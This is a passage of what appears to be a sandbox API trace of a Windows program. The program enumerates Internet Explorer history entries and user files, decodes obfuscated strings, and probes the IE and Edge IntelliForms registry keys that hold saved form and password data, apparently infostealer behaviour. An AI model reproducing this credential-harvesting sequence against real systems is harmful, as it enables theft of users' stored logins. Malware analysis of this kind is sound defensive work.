samDesired=0x20119, phkResult=0x21fa84 | out: phkResult=0x21fa84*=0x0) returned 0x2 [0056.917] LocalFree (hMem=0x2ee380) returned 0x0 [0056.917] CoTaskMemFree (pv=0x2f6fe8) [0056.917] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.917] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/cOEr.mkv", lpSrch="?") returned 0x0 [0056.917] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.917] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2ee4d0 [0056.917] lstrcpyA (in: lpString1=0x2ee4d0, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.917] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/cOEr.mkv") returned 49 [0056.917] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/cOEr.mkv") returned 49 [0056.917] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fae0 | out: phkResult=0x21fae0*=0x0) returned 0x2 [0056.917] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fab0 | out: phkResult=0x21fab0*=0x0) returned 0x2 [0056.917] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fa80 | out: phkResult=0x21fa80*=0x0) returned 0x2 [0056.917] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fae4 | out: phkResult=0x21fae4*=0x0) returned 0x2 [0056.917] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fab4 | out: phkResult=0x21fab4*=0x0) returned 0x2 [0056.917] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fa84 | out: phkResult=0x21fa84*=0x0) returned 0x2 [0056.917] LocalFree (hMem=0x2ee4d0) returned 0x0 [0056.917] CoTaskMemFree (pv=0x2ee460) [0056.918] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.918] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/0uK2pZE4%20F/7jVJ4osGzJwCy_Y4s/NRTBy7bAD_f.bmp", lpSrch="?") returned 0x0 [0056.918] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.918] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2ee510 [0056.918] lstrcpyA (in: lpString1=0x2ee510, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.918] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/0uK2pZE4%20F/7jVJ4osGzJwCy_Y4s/NRTBy7bAD_f.bmp") returned 88 [0056.918] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/0uK2pZE4%20F/7jVJ4osGzJwCy_Y4s/NRTBy7bAD_f.bmp") returned 88 [0056.918] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fae0 | out: phkResult=0x21fae0*=0x0) returned 0x2 [0056.918] CoTaskMemFree (pv=0x2d3378) [0056.918] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.919] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/0uK2pZE4%20F/wjgA2Y/i5D15rX3r9xVQa0.pdf", lpSrch="?") returned 0x0 [0056.919] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.919] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2f8128 [0056.919] lstrcpyA (in: lpString1=0x2f8128, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.919] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/0uK2pZE4%20F/wjgA2Y/i5D15rX3r9xVQa0.pdf") returned 81 [0056.919] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/0uK2pZE4%20F/wjgA2Y/i5D15rX3r9xVQa0.pdf") returned 81 [0056.919] CoTaskMemFree (pv=0x2f8078) [0056.919] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.919] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/kjJM-J.pptx", lpSrch="?") returned 0x0 [0056.919] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.919] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2f9078 [0056.919] lstrcpyA (in: lpString1=0x2f9078, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.919] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/kjJM-J.pptx") returned 55 [0056.919] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/kjJM-J.pptx") returned 55 [0056.919] CoTaskMemFree (pv=0x2f7150) [0056.919] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.919] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/izSAyEheYraQGJ1lE/DElSEoyIexQDc/rkSr9G.mkv", lpSrch="?") returned 0x0 [0056.919] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.919] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fb480 [0056.919] lstrcpyA (in: lpString1=0x2fb480, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.920] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/izSAyEheYraQGJ1lE/DElSEoyIexQDc/rkSr9G.mkv") returned 83 [0056.920] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/izSAyEheYraQGJ1lE/DElSEoyIexQDc/rkSr9G.mkv") returned 83 [0056.920] CoTaskMemFree (pv=0x2f9498) [0056.920] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.920] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/0uK2pZE4%20F/wjgA2Y/aLAaA.doc", lpSrch="?") returned 0x0 [0056.920] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.920] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fb480 [0056.920] lstrcpyA (in: lpString1=0x2fb480, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.920] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/0uK2pZE4%20F/wjgA2Y/aLAaA.doc") returned 71 [0056.920] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/0uK2pZE4%20F/wjgA2Y/aLAaA.doc") returned 71 [0056.920] CoTaskMemFree (pv=0x2d9ea0) [0056.920] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.920] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/lkh5%20k8XuA2JQC.gif", lpSrch="?") returned 0x0 [0056.920] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.920] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fb480 [0056.920] lstrcpyA (in: lpString1=0x2fb480, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.920] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/lkh5%20k8XuA2JQC.gif") returned 75 [0056.920] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/lkh5%20k8XuA2JQC.gif") returned 75 [0056.921] CoTaskMemFree (pv=0x2e63d8) [0056.921] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.921] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/u-%206CkqbOaQ8_6wwD.png", lpSrch="?") returned 0x0 [0056.921] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.921] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fbc80 [0056.921] lstrcpyA (in: lpString1=0x2fbc80, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.921] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/u-%206CkqbOaQ8_6wwD.png") returned 66 [0056.921] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/u-%206CkqbOaQ8_6wwD.png") returned 66 [0056.921] CoTaskMemFree (pv=0x2e9378) [0056.921] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.921] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/cTSmIATk-iiB1WNaSfIS.bmp", lpSrch="?") returned 0x0 [0056.921] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.921] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fc080 [0056.921] lstrcpyA (in: lpString1=0x2fc080, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.921] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/cTSmIATk-iiB1WNaSfIS.bmp") returned 74 [0056.921] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/cTSmIATk-iiB1WNaSfIS.bmp") returned 74 [0056.921] CoTaskMemFree (pv=0x2e65b8) [0056.921] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.922] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/jLbI/yJJxGlYJQvF.ppt", lpSrch="?") returned 0x0 [0056.922] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.922] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fc4c8 [0056.922] lstrcpyA (in: lpString1=0x2fc4c8, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.922] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/jLbI/yJJxGlYJQvF.ppt") returned 84 [0056.922] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/jLbI/yJJxGlYJQvF.ppt") returned 84 [0056.922] CoTaskMemFree (pv=0x2fc3f8) [0056.922] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.922] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/2xS9Su94RVD1fJ8.pptx", lpSrch="?") returned 0x0 [0056.922] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.922] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2fc4c8 [0056.922] lstrcpyA (in: lpString1=0x2fc4c8, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.922] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/2xS9Su94RVD1fJ8.pptx") returned 64 [0056.922] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/2xS9Su94RVD1fJ8.pptx") returned 64 [0056.922] CoTaskMemFree (pv=0x2e9648) [0056.922] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.922] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/jLbI/pWs7o/b7JXWOYO49E59efDo.pptx", lpSrch="?") returned 0x0 [0056.923] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 